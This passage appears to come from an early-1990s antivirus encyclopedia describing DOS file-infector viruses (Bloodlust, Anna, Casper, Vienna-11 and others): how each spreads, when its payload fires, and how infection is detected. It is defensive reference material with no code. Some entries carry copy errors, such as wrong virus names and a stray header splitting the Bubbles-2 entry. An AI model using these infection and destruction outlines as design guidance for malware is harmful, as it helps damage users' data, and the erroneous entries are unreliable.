1) Search for a COM file in current directory.
2) Check whether it has been infected by Burger.
   If "Yes", continue to look for a uninfected COM
   file.
3) Infect only an uninfected file at one time.
4) Damage all data of current disk if no COM file
   is infected.
Damage:
1) Overwrite original file, so the length of
   infected file won't increase.
2) Damage all data of current disk if no COM
   file is infected
Note:
1) Don't stay resident in memory.
2) Burger don't hook INT 24h when infecting files.
   Error message occurs if there is an error of
   I/O(such as writing protect).

[Bloodlust]
Virus Name: Bloodlust
Virus Type: File Infector Virus
            (infects .COM files)
Virus Length: No change
PC Vectors Hooked: None
Executing Procedure:
1) Searches for a *.C* file in the current
   directory.
2) Once it locates a file it checks whether it has
   been infected by Bloodlust. If "Yes", it
   continues to look for any uninfected *.C* file.
3) Once it locates a *.C* file it will infect it
   and continue doing this until all the *.C*
   files are infected.
Damage:
1) Overwrites original file, so the length of
   infected  file won't increase.
Note:
1) Doesn't stay resident in memory.
2) Bloodlust doesn't hook INT 24h when infecting
   files. Error message occurs if there is an
   I/O error (such as write protect).

[ZY]
Virus Name: Zy
Virus Type: File Infector Virus
            (infects .COM files)
Virus Length: 463 Bytes(COM)
PC Vectors Hooked: None
Executing Procedure:
1) Searches for a .COM file in the current
   directory.
2) Once it locates a file it checks whether it has
   been infected by ZY. If "Yes", it continues to
   look for any  uninfected .COM file.
3) It will infect only one file at a time.
4) It finally executes the originally called file.
Damage:  None
Detecting Method:
1) Infected files will increase by 463 Bytes.
Note:
1) Doesn't stay resident in memory.
2) ZY doesn't hook INT 24h when infecting files.
   Error message occurs if there is an I/O error
   (such as write protect).

[Kode4-2]
Virus Name: Kode4-2
Virus Type: File Infector Virus
            (infects .COM files)
Virus Length: ABOUT 3000 Bytes(COM)
PC Vectors Hooked: None
Executing Procedure:
1) Searches for a *.C* file in the current
   directory.
2) Infects all the *.C* files in the directory.
3) Then the following screen message will appear:
   "-=+ Kode4 +=-, The one and ONLY!"
Damage:  Overwrites original files.
Detecting Method:
1) Check whether the message:
   "-=+ Kode4 +=- The one and ONLY!" showed
   on screen.
Note:
1) Doesn't stay resident in memory.
2) Kode4-2 doesn't hook INT 24h when infecting
   files. Error message occurs if there is an
   I/O error (such as write protect).

[Mini-212]
Virus Name: Mini-212
Virus Type: File Infector Virus
            (infects .COM files)
Virus Length: 212 or 300 Bytes(COM)
PC Vectors Hooked: None
Executing Procedure:
1) Searches for a .COM file in the current
   directory beginning with files starting with
   the letter  "A" and randomly selecting files
   through the letter  "Z".
2) Once finding a file it checks whether it has
   been infected by MINI-212. If "Yes", it
   continues to look for a uninfected .COM file.
3) It only infects one file at a time.
Damage:  None
Detecting Method:
1) Infected files will increase by 212 or 300
   bytes.
Note:
1) Doesn't stay resident in memory.
2) MINI-212 doesn't hook INT 24h when infecting
   files. Error message occurs if there is an
   I/O error (such as write protect).

[Anna]
Virus Name: Anna
Virus Type: File Infector Virus
            (infects .COM files)
Virus Length: 742 Bytes(COM)
PC Vectors Hooked: None
Executing Procedure:
1) Searches for a .COM file in the current
   directory.
2) Once it locates a file it checks whether it has
   been infected by ANNA. If "Yes", it continues
   to look for any  uninfected .COM file.
3) It will infect only one file at a time.
4) If no uninfected file is found in the current
   directory, it will continue to look for an
   uninfected file in another directory.
5) It will then check system date. If it is
   December, then this message will appear on
   the screen: Yole from the ARcV.............."
Damage:  None
Detecting Method:
1) Infected files will increase by 742 Bytes.
2) If it is December a message will appear on
   screen: Yole from the ARcV.........".
Note:
1) Doesn't stay resident in memory.
2) ANNA doesn't hook INT 24h when infecting
   files. Error message occurs if there is an
   I/O error (such as writing protect).

[Grunt2]
Virus Name: Grunt2
Virus Type: File Infector Virus
            (infects .COM files)
Virus Length: 427 Bytes(COM)
PC Vectors Hooked: None
Executing Procedure:
1) Searches for a .COM file in the current
   directory.
2) Once it locates a file it checks whether it has
   been infected by GRUNT2. If "Yes", it continues
   to look for any  uninfected .COM file.
3) It will infect only one file at a time.
4) It then checks the system date. If the date is
   the 3rd of September and year is larger than
   1993, it will delete    a file on the current
   disk and then show the screen message: "S[GRUNT-
   2] -=> Agent Orange '92 <=-       Rock of the
   Marne Sir!.......".
Damage:
If system date is 3rd of September and year is
larger than 1993, the virus will delete a file on the
current disk.
Detecting Method:
1) Infected files will increase by 427 Bytes.
Note:
1) Doesn't stay resident in memory.
2) GRUNT2 doesn't hook INT 24h when infecting
   files. Error message occurs if there is an I/O
   error (such as a write protect).

[VDV-853]
Virus Name: Vdv-853
Virus Type: File Infector Virus
            (infects .COM files)
Virus Length: 853 Bytes(COM)
PC Vectors Hooked: None
Executing Procedure:
1) Checks whether the system date is between the 24th
   and 26th of December, if "yes",  the virus will
   delete all files in current directory, then
   create a file with 273 bytes and show the
   message: "Frhliche Weihnachten wnscht der
   Verband Deutscher Virenliebhaber Ach ja, und
   dann wnschen wir auch noch viel Spab beim
   Suchen nach den Daten von der Festplatte!
   Hello - Copyright S&S International, 1990".
2) If "No", then it will search for a .COM file in
   the current directory.  b) Once it locates a
   file it checks whether it has been infected by
   VDV-853. If "Yes", it continues to look for a
   uninfected .COM file.  c) It will infect only
   four files at a time.
Damage:
If the system date is between the 24th and 26th of
the  December, the virus will delete all files in the
current directory.
Detecting Method:
1) Infected files will increase by 853 Bytes.
Note:
1) Doesn't stay resident in memory.
2) VDV-853 don't hook INT 24h when infecting
   files. Error message occurs if there is an
   error of I/O (such as a write protect).
3) Virus pattern is the same as "SON_OF_VSC_2".

$#Wild Thing
Virus Name: Wild-Thing
Virus Type: File Infector Virus
            (infects .COM files)
Virus Length: 567 Bytes(COM)
PC Vectors Hooked: None
Executing Procedure:
1) Checks whether system date is Friday, if "yes",
   a message appears on the screen:
   " It's Friday ........ Enjoy the weekend with
   your computer![YAM '92], Then the system halts.
2) If "NO", then it will search for a .COM file in
   the current directory.  Once it locates a file
   it checks whether it has been infected by
   Wild-Thing. If "Yes", it continues to look for
   another uninfected .COM file.
3) It will infect all files in the current and the
   "mother" directory until all .COM files have
   been infected.
4) Then it will execute the original file.
Damage:
If the system date is Friday, this message shows
on screen: "It's Friday ....... Enjoy the weekend
with your computer![YAM '92], then system halt.
Detecting Method:
1) Infected files will increase by 567 bytes.
Note:
1) Doesn't stay resident in memory.
2) Wild-Thing doesn't hook INT 24h when infecting
   files. Error message occurs if there is an I/O
   error (such as a write protect).

[Arcv-Fri]
Virus Name: Arcv-Fri
Virus Type: File Infector Virus
            (infects .COM files)
Virus Length: 839 Bytes(COM)
PC Vectors Hooked: None
Executing Procedure:
1) Checks whether the system date is April 12th,
   if "Yes", it searches for a .COM in the
   current directory, then damages it.
2) If "No", then it searches for a  .COM file in
   current directory.
3) It checks whether it has been infected by
   ARCV-FRI.   If "Yes", it continues to look for
   any uninfected .COM file.
4) It infects only one file at a time.
5) It then executes the original file.
Damage:
If system date is April 12th, it searches for a
.COM file in the current directory, then damages
it.
Detecting Method:
1) Infected files will increase by 839 Bytes.
Note:
1) Doesn't stay resident in memory.
2) ARCV-FRI doesn't hook INT 24h when infecting
   files. Error message occurs if there is an
   I/O error (such as write protect).

[Agent-B]
Virus Name: Agent-B
Virus Type: File Infector Virus
            (infects .EXE & .COM files)
Virus Length: 763 Bytes(COM & EXE)
PC Vectors Hooked: INT 24h
Executing Procedure:
1) Searches for a .COM file in the current
   directory.
2) Once it locates a file it checks whether it has
   been infected by Argent. If "Yes", it continues
   to look for any  uninfected .COM file.
3) It will infect only two files at a time.
Damage:  None
Detecting Method:
1) Infected files will increase by 763 bytes.
Note:
1) Doesn't stay resident in memory.
2) Argent hooks INT 24h when infecting files.
   Omits I/O error (such as write protect).

[Nanite]
Virus Name: Nanite
Virus Type: File Infector Virus
            (infects .EXE & .COM files)
Virus Length: No change
PC Vectors Hooked: None
Executing Procedure:
1) Searches for a .COM or .EXE file in the current
   directory.
2) Once it locates a file it checks whether it has
   been infected by Nanite. If "Yes", it continues
   to look for any  uninfected .COM or .EXE file.
3) It will infect all .EXE and .COM files until
   all files in the current directory have been
   infected
Damage:
1) Overwrites original files, so the length of
   infected file won't increase.
Note:
1) Doesn't stay resident in memory.
2) Nanite doesn't hook INT 24h when infecting
   files. Error message occurs if there is an I/O
   error (such as  write protect).

[Arcv-670]
Virus Name: Arcv-670
Virus Type: File Infector Virus
            (infects .COM files)
Virus Length: 670 Bytes(COM)
PC Vectors Hooked: None
Executing Procedure:
1) Searches for a .COM file in the current
   directory.
2) Once it locates a file it checks whether it has
   been infected by ARCV-670. If "Yes", it
   continues to look for any  uninfected .COM
   file.
3) It will infect only one file at a time.
4) It finally checks the system date If the date
   is between the 20th and 25th of December, and the
   year is larger than 1992, it will show the
   message: "Happy Xmas from the ARCV", then the system
   halts.
Damage:  If system date is between the 20th and
         25th of December and the year is larger than
         1992, this message shows on screen:
         "Happy Xmas from the ARCV",
         then the system halts.
Detecting Method:
1) Infected files will increase by 670 Bytes.
Note:
1) Doesn't stay resident in memory.
2) ARCV-670 doesn't  hook INT 24h when infecting
   files. Error message occurs  if there is an
   I/O error  (such as write protect).

[Why]
Virus Name: Why
Virus Type: File Infector Virus
            (infects .COM files)
Virus Length: 457 Bytes(COM)
PC Vectors Hooked: None
Executing Procedure:
1) Searches for a .COM file in the current
   directory.
2) Once it locates a file it checks whether it has
   been infected by Why. If "Yes", it continues to
   look for any uninfected .COM file.
3) It will infect only one file at a time.
4) It then checks the system date. If the date is
   the 12th of May or the 25th of February, the
   virus will damage all files on the hard disk.
Damage:  If system date is May 12th or February
         25th, the virus will damage all files on
         the hard disk.
Detecting Method:
1) Infected files will increase by 457 Bytes.
Note:
1) Doesn't stay resident in memory.
2) "Why" doesn't hook INT 24h when infecting
   files.  Error message occurs if there is an I/O
   error (such as write protect).

[FCB]
Virus Name: Fcb
Virus Type: File Infector Virus
            (infects .EXE & .COM files)
Virus Length: No change
PC Vectors Hooked: None
Executing Procedure:
1) Searches for a .COM file in the current
   directory.
2) Once it locates a file it checks whether it has
   been infected by FCB. If "Yes", it continues to
   look for any  uninfected .COM file.
3) It will infect only one file at a time.
4) Searches for a .EXE file in the current
   directory.
5) Once it locates a file it checks whether it has
   been infected by FCB. If "Yes", it continues to
   look for any uninfected .EXE file.
6) It will infect only one file at a time.
Damage:
1) Overwrites original file, so the length of
   infected file won't increase.
Note:
1) Doesn't stay resident in memory.
2) FCB doesn't hook  INT 24h when infecting files.
   Error message occurs if there is an I/O error
   (such as write protect).

[Casper]
Virus Name: Casper
Virus Type: File Infector Virus
            (infects .COM files)
Virus Length: 1200 Bytes(COM)
PC Vectors Hooked: None
Executing Procedure:
1) Checks whether the system date is the first of
   April, if "yes", then it formats the current
   disk,
2) If "NO", then it searches for a *.C* file in
   the current directory.
2) Once it locates a file it checks whether it
   has been infected by FCB. If "Yes", it
   continues to look for any  uninfected *.C*
   file.
3) It will infect only one file at a time.
4) It then executes the original file.
Damage:  If the system date is the 1st of April,
         then it formats the current disk.
Detecting Method:
1) Infected files will increase by 1200 Bytes.
Note:
1) Doesn't stay resident in memory.
2) Casper doesn't hook INT 24h when infecting
   files. Error message occurs if there is an I/O
   error (such as  write protect).

$#Diogenes
Virus Name: Diogenes
Virus Type: File Infector Virus
            (infects .COM files)
Virus Length: 946 Bytes(COM)
PC Vectors Hooked: None
Executing Procedure:
1) Checks whether the system date is the 31st. If
   "Yes", it damages all files on the  hard disk,
   then displays information on the screen:
   "DIOGENES 2.0 has visited your hard drive......
   This has been another fine product of the
   Lehigh Valley...Watch (out) for future
   'upgrades'.. ... The world's deceit has raped
   my soul. We melt the plastic people down, then
   we melt their plastic town.
2) If "NO', then a  it searches for a .COM file in
   the current directory.
2) Once it locates a file it checks whether it
   has been infected by Diogenes.  If "Yes", it
   continues to look for   any  uninfected .COM
   file.
3) It will infect only one file at a time.
Damage:  If the system date is the 31st, then it
         damages all files on the hard disk.
Detecting Method:
1) Infected files will increase by 946 Bytes.
Note:
1) Doesn't stay resident in memory.
2) Diogenes doesn't hook INT 24h when infecting
   files. Error message occurs if there is an
   I/O error (such as write protect).

[Brothers-2]
Virus Name: Brothers-2
Virus Type: File Infector Virus
            (infects .COM files)
Virus Length: 693 Bytes(COM)
PC Vectors Hooked: None
Executing Procedure:
1) Checks whether the system date is between the
   11th and 25th of November or December. If "Yes",
   it shows the message: "Brotherhood... I am seeking
   my brothers "DEICIDE" and "MORGOTH", then
   execute original file.
2) If "NO', then  it searches for a .COM file in
   the current directory.
2) Once it locates a file it checks whether it has
   been infected by Brothers-2. If "Yes", it
   continues to look for any uninfected .COM file.
3) It will check whether the second word of the
   .COM file is "0xADDE", if "yes", it will show
   such message: "Found my brother MORGOTH!!!."
   then execute original file.
4) It will also check whether the second word of
   the .COM file is "0x0D90", if "yes", it will
   show such message: 'Found my brother "DEIGOTH"
   !!!. then execute original file.
5) If "NO", then it will infect .COM files one at
   a time.
6)It will execute original file.
Damage:  None
Detecting Method:
1) Infected files will increase by 693 Bytes.
Note:
1) Doesn't stay resident in memory.
2) Brothers-2 doesn't hook INT 24h when infecting
   files. Error message occurs if there is an I/O
   error (such as write protect).

[Mindless]
Virus Name: Mindless
Virus Type: File Infector Virus
            (infects .COM files)
Virus Length: No change
PC Vectors Hooked: None
Executing Procedure:
1) Checks whether the system date is Sunday. If
   "yes", it damages all files on the hard disk.
2) If  "NO', then it searches for a *.C* file in
   the current directory.
2) Once it locates a file it infects it and
   continues searching until it infects all the
   *.C* files in the current directory.
Damage:
1) If the system date is Sunday, it damages all
   the files on the hard disk.
2) Overwrites original files, so the length of
   infected files won't increase.
Detecting Method:  None.
Note:
1) Doesn't stay resident in memory.
2) Mindless doesn't hook INT 24h when infecting
   files. Error message occurs if there is an
   I/O error (such as write protect).

[Acme]
Virus Name: Acme
Virus Type: File Infector Virus (Companion Virus)
Virus Length: 932 Bytes
PC Vectors Hooked: None
Executing Procedure:
1) Checks whether the system time is after 4
   o'clock in the afternoon. If "Yes", a sound is
   made, then the system halts.
2) If "NO', then it searches for an .EXE file in
   the current directory.
3) It will then create a 923 bytes, "hidden &
   read-only" .COM file with the .EXE file's name.
Damage: If the system time is after 4 o'clock in
        the afternoon, a sound is made, then
        the system halts.
Detecting Method:
1) Check whether there are "hidden" .COM files
   with 923 bytes.
Note:
1) Doesn't stay resident in memory.
2) ACME doesn't hook INT 24h when infecting files.
   Error message occurs if there is an I/O error
   (such as write protect).

[Dest1]
Virus Name: DEST1
Virus Type: File Infector Virus
            (only infects .COM files).
Virus Length: 323 Bytes
PC Vectors Hooked: INT 24h
Executing Procedure:
1) Searches for a COM file in the current
   directory.
2) It checks whether it has  been infected by
   Dest1. If "Yes", it continues to look for an
   uninfected .COM file.
3) It then infects any uninfected .COM file, one
   file at a time).
4) Finally it executes the original file.
Damage:  None
Detecting Method: Infected files will increase
                  by 323 Bytes.
Note:
1) Doesn't stay resident in memory.
2) Dest1 hooks INT 24h when infecting files. Omits
   I/O error (such as write protect).

[Dest2]
Virus Name: DEST2
Virus Type: File Infector Virus
            (infects .COM files only)
Virus Length: 478 Bytes
PC Vectors Hooked: INT 24h
Executing Procedure:
1) Searches for a COM file in the current
   directory.
2) It checks whether it has  been infected by
   Dest2. If "Yes", it continues to look for an
   uninfected .COM file.
3) It then infects the .COM file. It finally
   executes the original file.
Damage:  If kill-flag=-1, then deletes a file.
Detecting Method:  Infected files will increase
                   by 478 Bytes.
Note:
1) Doesn't stay resident in memory.
2) Dest2 hook INT 24h when infecting files. Omits
   an I/O error (such as write protect).

[Cyber101]
Virus Name: CYBER101
Virus Type: File Infector Virus
            (infects .COM & .EXE files)
Virus Length: 946 Bytes(COM & EXE)
PC Vectors Hooked: INT 24h
Executing Procedure:
1) The virus searches for a .COM or .EXE file in
   the current directory.
2) It checks whether it has been infected by
   Cyber101. If "Yes", it continues to look for an
   uninfected .COM & .EXE files.
3) It then infects any .COM or .EXE files in  the
   current directory two at a time.
4) Finally it executes the original file.
Damage:  None
Detecting Method:  Infected files will increase
                   by 946 Bytes.
Note:
1) Doesn't stay resident in memory.
2) Cyber101 hooks INT 24h when infecting files.
   Omit I/O error (such as write protect).

[Cyber]
Virus Name: CYBER
Virus Type: File Infector Virus
            (infects .COM & .EXE files)
Virus Length: 1092 Bytes(COM & EXE)
PC Vectors Hooked: INT 24h
Executing Procedure:
1) The virus searches for a .COM or .EXE file in
   the current directory.
2) It checks whether it has been infected by
   Cyber. If "Yes", it continues to look for an
   uninfected .COM & .EXE files.
3) It then infects any .COM or .EXE file in the
   current directory two at a time.
4) Finally it executes the original file.
Damage:  None
Detecting Method:  Infected files will increase
                   by 1092 Bytes.
Note:
1) Doesn't stay resident in memory.
2) Cyber hooks INT 24h when infecting files. Omits
   I/O error (such as write protect).

[7thson-2]
Virus Name: 7THSON-2
Virus Type: File Infector Virus
            (infects .COM files)
Virus Length: 284 or 332 or 350 Bytes(COM)
PC Vectors Hooked: INT 24h
Executing Procedure:
1) The virus searches for a .COM file in the
   current directory.
2) It checks whether it has been infected by
   7thson-2. If "Yes", it continues to look for an
   uninfected files.
3) It then infects all .COM files in the current
   directory.
4) Finally it executes the original file.
Damage:  None
Detecting Method:
Infected files will increase by 284 or 332 or 350
Bytes.
Note:
1) Doesn't stay resident in memory.
2) 7thson-2 hooks INT 24h when infecting files.
   Omits I/O error (such as write protect).

[Bamestra]
Virus Name: BAMESTRA
Virus Type: File Infector Virus
            (infects .EXE files)
Virus Length: 530 Bytes(EXE)
PC Vectors Hooked: INT 24h
Executing Procedure:
1) The virus searches for an .EXE file in the
   current directory.
2) It checks whether it has been infected by
   Bamestra. If "Yes", it continues to look for an
   uninfected .EXE file.
3) It then infects any .EXE  file in the current
   directory two at a time.
4) Finally it executes the original file.
Damage:  None
Detecting Method:
1) Infected files will increase by 530 Bytes.
Note:
1) Doesn't stay resident in memory.
2) Bamestra hooks INT 24h when infecting files.
   Omits an I/O error (such as write protect).

[Abraxas]
Virus Name: ABRAXAS
Virus Type: File Infector Virus
            (infects .COM & .EXE files)
Virus Length: 546 Bytes(COM & EXE)
PC Vectors Hooked: INT 24h
Executing Procedure:
1) The virus searches for an .EXE or .COM file in
   the current directory.
2) It checks whether it has been infected by
   Abraxas.  If "Yes", it continues to look for
   an uninfected .EXE or .COM file.
3) It then infects all .EXE & .COM files in the
   current directory.
4) Finally it executes the original file.
Damage:  None
Detecting Method:  Infected files will increase
                   by 546 Bytes.
Note:
1) Doesn't stay resident in memory.
2) Abraxas hooks INT 24h when infecting files.
   Omits an I/O error (such as write protect).

[MPC-1]
Virus Name: MPC-1
Virus Type: File Infector Virus
            (infects .COM & .EXE files)
Virus Length: 641 Bytes(COM & EXE)
PC Vectors Hooked: INT 24h
Executing Procedure:
1) The virus searches for an .EXE or .COM file in
   the current directory.
2) It checks whether it has been infected by
   MPC-1.  If "Yes", it continues to look for an
   uninfected .EXE or .COM file.
3) It then infects all .EXE & .COM files in the
   current directory.
4) Finally it executes the original file.
Executing Procedure:
1) Search for a COM & EXE file in current
   directory.
2) Check whether it has been infected by If "Yes",
   continue to look for a uninfected COM & EXE
   file.
3) Infects the file until all files in the
   directory have been infected.
4) Execute original file.
Damage:  None
Detecting Method:
1) Infected files will increase by 641 Bytes.
Note:
1) Doesn't stay resident in memory.
2) MPC-1 hooks INT 24h when infecting files. Omits
   an I/O error (such as write protect).

[Zeppelin]
Virus Name: ZEPPELIN
Virus Type: File Infector Virus
            (infects .COM & .EXE files)
Virus Length: 1508 Bytes(COM & EXE)
PC Vectors Hooked: INT 24h
Executing Procedure:
1) The virus searches for an .EXE or .COM file in
   the current directory.
2) It checks whether it has been infected by
   Abraxas. If "Yes", it continues to look for an
   uninfected .EXE or .COM file.
3) It then infects any .EXE & .COM files in the
   current directory four at a time.
4) Finally it displays many uncertain codes, and
   sounds are made at the same time, then the
   system halts.
Damage: Shows a lot of codes, and makes strange
        sounds at the same time, then the system
        halts.
Detecting Method:
1) Infected files will increase by 1508 Bytes.
2) A lot of codes appear on the screen.
Note:
1) Doesn't stay resident in memory.
2) Zeppelin hooks INT 24h when infecting files.
   Omits an I/O error (such as write protect).

[Crumble]
Virus Name: CRUMBLE
Virus Type: File Infector Virus
            (infects .COM & .EXE files)
Virus Length: 778 Bytes(COM & EXE)
PC Vectors Hooked: INT 24h
Executing Procedure:
1) The virus searches for an .EXE or .COM file in
   the current directory.
2) It checks whether it has been infected by
   Crumble. If "Yes", it continues to look for an
   uninfected .EXE or .COM file.
3) It then infects any .EXE & .COM files in the
   current directory two files at a time.
4) Finally it checks the system date, if it is
   Friday, the message "falling letter" occurs on
   screen, then a letter falls every 5 seconds on
   the screen.
Damage:  If it is Friday, system will run
         "falling letter".
Detecting Method:  Infected files will increase by
                   778 Bytes.
Note:
1) Doesn't stay resident in memory.
2) Crumble hooks INT 24h when infecting files.
   Omits an I/O  error (such as write protect).

[COL-MAC]
Virus Name: COL_MAC
Virus Type: File Infector Virus
            (infects .COM & .EXE files)
Virus Length: 1022 Bytes(COM & EXE)
PC Vectors Hooked: INT 24h
Executing Procedure:
1) The virus searches for an .EXE or .COM file in
   the current directory.
2) It checks whether it has been infected by
   COL_MAC. If "Yes", it continues to look for an
   uninfected .EXE or .COM file.
3) It then infects any two .EXE & .COM files in
   the current directory.
4) Finally it shows a lot of random letters on the
   screen until the ENTER key is pressed.
Damage:  None
Detecting Method:  Infected files will increase
                   by 1022 Bytes.
Note:
1) Doesn't stay resident in memory.
2) COL_MAC hooks INT 24h when infecting files.
   Omits an I/O error (such as write protect).

[Galileo]
Virus Name: GALILEO
Virus Type: File Infector Virus
            (infects .COM & .EXE files)
Virus Length: 760 Bytes(COM & EXE)
PC Vectors Hooked: INT 24h
Executing Procedure:
1) Checks whether system date is Monday, if
   "Yes", the virus will damage all files on the
   hard disk.
2) It searches for a .COM or .EXE file in current
   directory.
3) It then infects all .COM & .EXE files in the
   current directory.
Damage: If it is Monday, the virus will damage
        all files on the hard disk.
Detecting Method:  Infected files will increase
                   by 760 Bytes.
Note:
1) Doesn't stay resident in memory.
2) Galileo hooks INT 24h when infecting files.
   Omits on I/O  error (such as write protect).

[Wharps]
Virus Name: WHARPS
Virus Type: File Infector Virus
            (infects .COM files)
Virus Length: 572 Bytes(COM)
PC Vectors Hooked: INT 24h
Executing Procedure:
1) The virus checks whether the system time is 3
   o'clock in the morning, if "Yes", a message
   appears on the screen: "wHaRpS! It is 3:00 a.m.
   > ETERNAL".
2) It searches for a .COM file in the current
   directory.
3) It then checks whether it has been infected by
   Wharps.  If "Yes", it continues to look for an
   uninfected .COM file, infecting each file one
   at a time.
5) Finally it executes the original file.
Damage:  Infected file can't be executed.
Detecting Method:  Infected files will increase
                   by 572 Bytes.
Note:
1) Doesn't stay resident in memory.
2) Wharps hooks INT 24h when infecting files.
   Omits an I/O error (such as write protect).

[Bubbles-2]
Virus Name: BUBBLES-2
Virus Type: File Infector Virus
            (infects .COM & .EXE files)
Virus Length: 927 Bytes(COM & EXE)
PC Vectors Hooked: INT 24h
Executing Procedure:
1) The virus searches for an .EXE or .COM file in
   the current directory.
2) It checks whether it has been infected by
   Bubbles-2.  If "Yes", it continues to look for
   an uninfected .EXE or .COM file.
3) It then infects all .EXE & .COM files in the
   current directory.
4) It finally checks whether the system date is
   the 13th and year is not smaller than 1993, then
   it displays information on the screen:
   "Bubbles 2 : Its back and better then ever.  Is
   it me or does that make no sense at all?

[IVP]
Damage:  Infected files can't be executed.
Detecting Method:
Infected files will increase by 927 Bytes.
Note:
1) Doesn't stay resident in memory.
2) Bubbles-2 hooks INT 24h when infecting files.
   Omits an I/O error (such as write protect).

[Cybertech]
Virus Name: CYBERTECH
Virus Type: File Infector Virus
            (infects .COM files)
Virus Length: 1076 Bytes(COM)
PC Vectors Hooked: INT 24h
Executing Procedure:
1) It checks whether the system date is smaller
   than 1993. If "Yes", then the virus searches
   for a .COM file in the current directory.
2) It checks whether it has been infected by
   Cybertech.  If "Yes", it continues to look for
   an uninfected .COM file.
3) It then infects any .COM file in the current
   directory one at a  time.
4) If "no", then information appears on the
   screen: "The previous year you have been
   infected by a virus without knowing or
   removing it. To be gentle to you I decided to
   remove myself from your system . I suggest you
   better buy VirusScan of McAfee to ensure yourself
   complete security of your precious data. Next
   time you could be infected with a malevolent
   virus. May I say goodbye to you for now..
   CyberTech Virus-Strain A  (c) 1992 John Tardy
   of Trident". It finally restores the current
   file as before.
Damage:  None
Detecting Method:
Infected files will increase by 1076 Bytes.
Note:
1) Doesn't stay resident in memory.
2) Cybertech hooks INT 24h when infecting files.
   Omits an I/O error (such as write protect).

[Crazy]
Virus Name: CRAZY
Virus Type: Boot Strap Sector Virus
Virus Length:  4006 Bytes
PC Vectors Hooked: None
Executing Procedure:
This virus infects no file, partition or boot
sector.  When it is   executed, it will create 50
subdirectories, 50 subdirectories are created in
every subdirectory.
Damage:  None
Detecting Method:  None.
Note:
1) Doesn't stay resident in memory.
2) Crazy doesn't hook INT 24h when infecting
   files. An error message occurs if there is an
   I/O error (such as write protect).

[Burger_560-8]
Virus Name: BURGER_560-8
Virus Type: File Infector Virus
            (infects .COM files)
Virus Length: No change
PC Vectors Hooked: None
Executing Procedure:
1) Searches for a .COM file in "A:".
2) It checks whether it has been infected by
   Burger_560-8. If "Yes", it continues to look
   for an uninfected  .COM file.
3) It then infects an uninfected file one at a
   time.
4) If no .COM file is infected, it will continue
   to look for an .EXE file in "A:".
5) It finally rename the .EXE file to .COM , then
   it infects the .COM file.
Damage:
Overwrites the original file, so the length of
infected file won't increase.
Detecting Method:
1) Changes .EXE file into a .COM file
Note:
1) Doesn't stay resident in memory.
2) Burger_560-8 don't hooks INT 24h when infecting
   files. Error message occurs if there is an I/O
   error (such as write protect).

[Boys]
Virus Name: BOYS
Virus Type: File Infector Virus
            (infects .COM files)
Virus Length: 500 Bytes(COM)
PC Vectors Hooked: None
Executing Procedure:
1) It searches for an .EXE file, it then changes
   the attributes into "SYSTEM".
2) It searches for a .COM file in the current
   directory.
3) It then checks whether it has been infected
   by Boys. If "Yes", it continues to look for an
   uninfected .COM file.
4) It infects only an uninfected file at one time,
   and changes the attribute into  "READ-ONLY".
5) Finally it executes the original file.
Damage:  None.
Detecting Method:
Infected files will increase by 500 Bytes.
Note:
1) Doesn't stay resident in memory.
2) Boys doesn't hook INT 24h when infecting files.
   An error message occurs if there is an I/O
   error (such as write protect).

[Null]
Virus Name: NULL
Virus Type: File Infector Virus
            (infects .COM files)
Virus Length: 733 Bytes(COM)
PC Vectors Hooked: None
Executing Procedure:
1) It first decodes.
2) Then it searches for a .COM file in the
   current directory.
3) It checks whether it has  been infected by
   Null. If "Yes", it continues to look for an
   uninfected .COM file.
4) It infects only one file at a time.
5) It then executes  the original file.
6) If it can not infect a .COM file, then it
   checks whether the DAY =30. If "yes", it
   destroys all the data on the disk, then
   shows the message: "Your disk is dead! Long
   life Doomsday 1.0 "
Damage:
IF DAY = 30 , then destroy all data on current
disk.
Detecting Method:
Infected files will increase by 733 Bytes.
Note:
1) Doesn't stay resident in memory.
2) Null doesn't hook INT 24h when infecting
   files. An error message occurs if there is an
   I/O error (such as write protect).

[Vienna-11]
Virus Name: VIENNA-11
Virus Type: File Infector Virus
            (infects .COM files)
Virus Length: 943 Bytes(COM)
PC Vectors Hooked: None
Executing Procedure:
1) Checks whether the system s clock seconds are
   equal to SECOND=.0004, If "Yes", then a message
   will appear on the screen: "Sorry this computer
   is no longer operational due to an outbreak of
   Bush is hero,  Have a Nice day. . . "
2) Next it will check as to whether the time is
   equal to TIME = 7:45 on 24th of March If "Yes",
   then a message will appear on the screen:
   "VIPERizer, Strain B (c) 1992, Stin gray/VIPER
   Happy Valentines Day !"  It then destroys all
   the data on all of the disks including the hard
   disk.
3) If "No", then it searches for a .COM file in
   the current directory.
4) Checks whether it has been infected by
   Vienna-11. If "Yes", it continues to look for
   a uninfected .COM file.
5) Then infects only one file at a time,
   afterwards it executes  the original file.
Damage:
Destroys all of the data on all of the disks.
Detecting Method:
Infected files will increase by 943 Bytes.
Note:
1) Doesn't stay resident in memory.
2) Vienna-11 doesn't hook INT 24h when infecting
   files. An error message occurs if there is an
   I/O error (such as write protect).

[Intrud-B]
Virus Name: INTRUD-B
Virus Type: File Infector Virus
            (infects .EXE files)
Virus Length: 1225 Bytes(EXE)
PC Vectors Hooked: None
Executing Procedure:
1) Search for an .EXE file in the current
   directory.
2) It checks whether it has  been infected by
   Intrud-B. If "Yes", it continues to look for a
   uninfected .EXE file.
3) It then infects only one file at a time.
4) Following it executes the original file.
Damage:  None.
Detecting Method:
1)Infected files will increase by 1225 Bytes.
Note:
1) Doesn't stay resident in memory.
2) Intrud-B doesn't hook INT 24h when infecting
   files.  An error message occurs if there is  an
   I/O error (such as write protect).

[New-s]
Virus Name: NEW-S
Virus Type: File Infector Virus
            (infects .EXE files)
Virus Length: 1214 Bytes
PC Vectors Hooked: None
Executing Procedure:
1) First shows a strange figure on the screen
   (with music).
2) Then searches for an EXE file in the current
   directory.  It then creates a file of the same
   name with the length of 1214 bytes and
   overwrites the  original file.  The new file is
   New-S.
3) Finally it overwrites the COMMAND.COM in the
   root directory and copies the overwritten file
   to the root directory.
Damage:  Overwrites original file
Detecting Method:
Infected files will increase by 1214 Bytes.
Note:
1) Doesn't stay resident in memory.
2) NEW-S doesn't hook INT 24h when infecting
   files.  An error message occurs if there is an
   I/O error (such as write protect).

[X-1-B]
Virus Name: X-1-B
Virus Type: File Infector Virus
            (infects .EXE files)
Virus Length: 555 Bytes(EXE)
PC Vectors Hooked: None
Executing Procedure:
1) The virus checks whether the system date is the
   5th of   March  If "Yes", it displays the
   message: "ICE-9 Present In Association with..
   The ARcV [X-1] Michelangelo activates. .
   -<TOMORROW>-", then the system halts.
2) If "No", then it searches for an .EXE file in
   the current directory.
3) It checks whether it has been selected already
